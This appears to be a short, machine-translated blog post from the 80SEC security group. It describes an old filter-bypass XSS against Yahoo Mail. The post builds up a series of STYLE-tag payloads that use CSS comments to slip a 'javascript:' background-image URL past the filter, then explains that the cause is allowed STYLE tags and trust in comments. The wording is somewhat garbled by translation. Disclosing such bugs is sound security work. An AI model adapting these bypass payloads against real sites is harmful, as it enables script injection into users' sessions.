An old yahoo xss test case

80SEC unofficial gossip BLOG

It should be a year or two.

1. First, the CSS-type XSS will be filtered

<Style> #1 {background-image: url ("javascript: alert (XSS)} <style>

2. Comments can be used in CSS.

<Style> #1/* XXXXXXXX */{background-image: url ("javascript: alert (XSS)")} <style>

3. In the EMAIL, the FUZZ annotator/* "XSS" * // * XSS */is not filtered out.

<Style> #1/* "{background-image: url (" javascript: alert (XSS) ")}" */{} <style>

4. evolved into two annotators. Hopefully, the complete and available XSS can be constructed without being filtered.

<Style> #1/* "*/{background-image: url (" javascript: alert (XSS) ")}/*" */{} <style>

5. Obtain the following xss fuzz model.

<Style> #1/* "*/XSS/*" */{} <style>

6. Add a style sheet to construct a normal and available XSS format.

<Style>
#1 /**/{}
#2 /**/{}
</Style>

In #2, insert {XSS} in the comment}

<Div id = 1>
<Div id = 2>
<Style>
#1 /**/{}
#2 {background-image: url ("javascript: alert (XSS )")}/**/{}
</Style>
</Div>
</Div>

In #1, insert {XSS} in the comment}

<Div id = 1>
<Div id = 2>
<Style>
#1/**/{background-image: url ("javascript: alert (XSS )")}
#2 /**/{}
</Style>
</Div>
</Div>

Bypass filter annotator matching

7. Cause of the vulnerability: STYLE labels are allowed. Over-trust annotator can be used to test the annotator.